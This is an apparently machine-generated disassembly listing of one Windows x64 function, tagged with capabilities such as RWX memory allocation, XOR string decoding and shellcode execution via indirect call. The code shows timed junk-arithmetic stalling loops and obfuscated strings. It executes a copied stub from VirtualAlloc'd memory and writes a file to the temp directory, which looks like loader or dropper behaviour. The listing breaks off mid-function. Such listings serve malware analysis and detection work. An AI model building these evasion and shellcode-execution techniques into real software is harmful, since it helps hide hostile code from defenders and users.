Function at 0x1401c4d90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x53a0]
mov eax, 0x54a0
call fcn.1402361c0
sub rsp, rax
movaps xmmword [rsp + 0x5490], xmm6
movaps xmmword [rsp + 0x5480], xmm7
movaps xmmword [rsp + 0x5470], xmm8
movaps xmmword [rsp + 0x5460], xmm9
movaps xmmword [rsp + 0x5450], xmm10
movaps xmmword [rsp + 0x5440], xmm11
movaps xmmword [rsp + 0x5430], xmm12
movaps xmmword [rsp + 0x5420], xmm13
movaps xmmword [rsp + 0x5410], xmm14
mov rax, qword [0x140275028]
xor rax, rsp
mov qword [rbp + 0x5300], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
xor edi, edi
mov dword [rsp + 0x34], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x50e4], 0xffffffff
mov dword [rbp + 0x3d64], eax
mov ebx, 1
mov ecx, ebx
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x3d64], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c4e51
mov dword [rbp + 0x3d60], 0x270
lea rcx, [rbp + 0x3d60]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x1401c4ebc
nop dword [rax]
lea rcx, [rbp + 0x3d60]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x1401c4ea0
shr rax, 0x20
lea r15d, [rax + 0x3e7]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x1634], 0xffffffff
mov dword [rbp + 0x2b4], eax
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x2b4], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c4ef0
mov dword [rbp + 0x2b0], 0x270
mov dword [rsp + 0x30], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c4f3e
imul rax, rax, 0x64
jmp 0x1401c4f59
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r13d, 0x80000000
mov r12d, 1
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c4f8e
imul rax, rax, 0x64
jmp 0x1401c4fa9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1401c5165
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401c4ffa
nop word [rax + rax]
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c4fe0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c505a
cmp eax, 0x64
jae 0x1401c505a
nop dword [rax]
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5040
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1401c50bb
cmp eax, 0x64
jae 0x1401c50bb
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c50a1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c511d
cmp eax, 0x64
jae 0x1401c511d
lea rcx, [rbp + 0x2b0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5103
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r12
jne 0x1401c4fc0
jmp 0x1401c4f70
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0xb0]
call fcn.140235fa8
lea rsi, [0x140000000]
lea rax, [rsi + 0x2622f0]
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov ebx, dword [rsp + 0x34]
or ebx, 4
mov dword [rsp + 0x34], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], r8d
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0xb8], rax
xor r14d, r14d
mov qword [rbp + 0x120], r14
mov dword [rbp + 0x128], 4
mov edx, r15d
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [str.f_.P]
movsd qword [rsp + 0x48], xmm0
movzx eax, word [0x140262800]
mov edx, 0x2e
mov word [rsp + 0x48], dx
xor word [rsp + 0x4a], 0x4a
xor word [rsp + 0x4c], 0x4c
xor word [rsp + 0x4e], 0x4e
xor ax, 0x50
mov word [rsp + 0x50], ax
lea rdx, [rsp + 0x48]
call fcn.140212750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
movdqa xmm1, xmmword [0x140265120]
movdqu xmmword [rbp + 0x98], xmm1
mov word [rbp + 0x88], r14w
or ebx, 0x10
mov dword [rsp + 0x34], ebx
mov ecx, dword [rbp + 0x128]
mov eax, ecx
and al, 0x22
cmp al, 2
mov r12, qword [rsp + 0x38]
je 0x1401c52e7
mov rax, qword [rbp + 0xf8]
mov r8, qword [rax]
test r8, r8
je 0x1401c52e7
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x120]
cmovb r8, qword [rbp + 0x120]
jmp 0x1401c5313
test cl, 4
jne 0x1401c532a
mov rax, qword [rbp + 0xf0]
mov r8, qword [rax]
test r8, r8
je 0x1401c532a
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x108]
movsxd rcx, dword [rax]
lea r8, [r8 + rcx*2]
sub r8, rdx
sar r8, 1
test rdx, rdx
je 0x1401c532a
lea rcx, [rbp + 0x88]
call fcn.1402108d0
and ebx, 0xffffffef
or ebx, 8
mov dword [rsp + 0x60], 0x104
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
lea r15, [rbp + 0x53c8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [r15], r14
mov ecx, r14d
lea r14, [0x140212cc0]
mov rax, qword [0x1402836f0]
test rax, rax
je 0x1401c53a9
xor edx, edx
cmp rax, r14
je 0x1401c5398
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2836f0]
test rax, rax
jne 0x1401c5380
jmp 0x1401c53a9
mov r9, qword [rsi + rdx*8 + 0x2846d0]
test r9, r9
jne 0x1401c548f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x1401c546e
mov rax, r14
mov rcx, r9
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401c53e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d58]
mov qword [rsi + rax*8 + 0x2836f0], r14
mov qword [rsi + rax*8 + 0x2846d0], r9
inc rax
mov qword [0x140283d58], rax
lea r8, [rbp + 0x50f0]
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [r15], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rbp + 0x50f0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401c54e0
lea rdx, [rbp + 0x50f0]
lea rcx, [rbp - 0x58]
call fcn.140214170
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x58]
call fcn.1402109f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
or ebx, 2
mov dword [rsp + 0x34], ebx
lea rcx, [rbp - 0x58]
call fcn.140210860
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x29c4], 0xffffffff
mov dword [rbp + 0x1644], eax
lea ecx, [rsi + 1]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x1644], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c5570
mov dword [rbp + 0x1640], 0x270
mov dword [rsp + 0x30], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c55be
imul rax, rax, 0x64
jmp 0x1401c55d9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r15d, 0x80000000
mov r13d, 1
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c560e
imul rax, rax, 0x64
jmp 0x1401c5629
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1401c57e5
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401c567a
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5660
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c56da
cmp eax, 0x64
jae 0x1401c56da
nop dword [rax]
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c56c0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1401c573b
cmp eax, 0x64
jae 0x1401c573b
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5721
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c579d
cmp eax, 0x64
jae 0x1401c579d
lea rcx, [rbp + 0x1640]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5783
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r13
jne 0x1401c5640
jmp 0x1401c55f0
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call fcn.140235fa8
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.140210380
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
cmp qword [rbp + 0x228], 0
mov r13, qword [rsp + 0x58]
je 0x1401c6430
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor esi, esi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], si
mov rcx, r12
cmp qword [r12 + 0x18], 8
jb 0x1401c5889
mov rcx, qword [r12]
mov rdx, rcx
jmp 0x1401c588c
mov rdx, r12
mov rbx, rcx
mov rax, qword [r12 + 0x10]
lea rdi, [rdx + rax*2]
cmp rcx, rdi
je 0x1401c5914
mov esi, 0x22
movzx edx, word [rbx]
cmp dx, si
je 0x1401c58b5
lea rcx, [rbp + 0x50]
call fcn.14020ea90
jmp 0x1401c5909
mov eax, dword [0x140262db4]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140262db8]
mov word [rsp + 0x38], si
xor word [rsp + 0x3a], 0x4a
xor ax, 0x4c
mov word [rsp + 0x3c], ax
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401c58f0
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x50]
call fcn.14020ebf0
add rbx, 2
cmp rbx, rdi
jne 0x1401c58a2
xor esi, esi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x3d54], 0xffffffff
mov dword [rbp + 0x29d4], eax
mov ecx, 1
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x29d4], edx
inc rcx
cmp rcx, 0x270
jb 0x1401c5931
mov dword [rbp + 0x29d0], 0x270
mov dword [rsp + 0x30], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c597f
imul rax, rax, 0x64
jmp 0x1401c599a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r13d, 1
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1401c59c5
imul rax, rax, 0x64
jmp 0x1401c59e0
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1401c5b95
mov esi, 0x186a0
nop
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401c5a2a
nop word [rax + rax]
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5a10
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c5a8a
cmp eax, 0x64
jae 0x1401c5a8a
nop dword [rax]
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5a70
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1401c5aeb
cmp eax, 0x64
jae 0x1401c5aeb
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5ad1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1401c5b4d
cmp eax, 0x64
jae 0x1401c5b4d
lea rcx, [rbp + 0x29d0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401c5b33
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r13
jne 0x1401c59f0
jmp 0x1401c59a7
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [str.e_8n_a__]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [str.0_02__D_]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140262ec0]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140262ed0]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x140262ee0]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x140262ef0]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x140262ef8]
mov dword [rbp + 0x28], eax
xor r15d, r15d
mov r9d, r15d
lea edi, [r15 + 5]
lea esi, [rdi + 1]
lea r14d, [r15 + 0x1f]
mov ebx, dword [0x140275008]
cmp ebx, 2
mov r13, qword [rsp + 0x58]
jl 0x1401c5df1
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265220]
movd xmm10, edi
movdqa xmm7, xmmword [0x140265230]
movd xmm11, esi
movdqa xmm12, xmmword [0x140265170]
movd xmm8, r14d
movdqa xmm13, xmmword [0x140265240]
movdqa xmm14, xmmword [0x1402651e0]
lea rcx, [rbp - 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm8
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm14
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm10
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm8
paddd xmm2, xmm4
pmulld xmm2, xmm13
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm14
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x1401c5c60
cmp r9d, 0x2e
jge 0x1401c5e54
movsxd rax, r9d
lea r10, [rbp - 0x30]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
sub cx, r8w
add cx, 0x24
add cx, r9w
add cx, cx
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x1401c5e00
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.140212750
movups xmm0, xmmword [0x140262df0]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [0x140262e00]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x140262e08]
mov dword [rbp - 0x60], eax
movzx eax, word [0x140262e0c]
mov word [rbp - 0x5c], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401c6045
movdqa xmm6, xmmword [0x140265220]
movd xmm7, edi
movdqa xmm8, xmmword [0x140265230]
movd xmm9, esi
movd xmm11, r14d
movdqa xmm13, xmmword [0x1402651e0]
movdqa xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm11
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x140265170]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
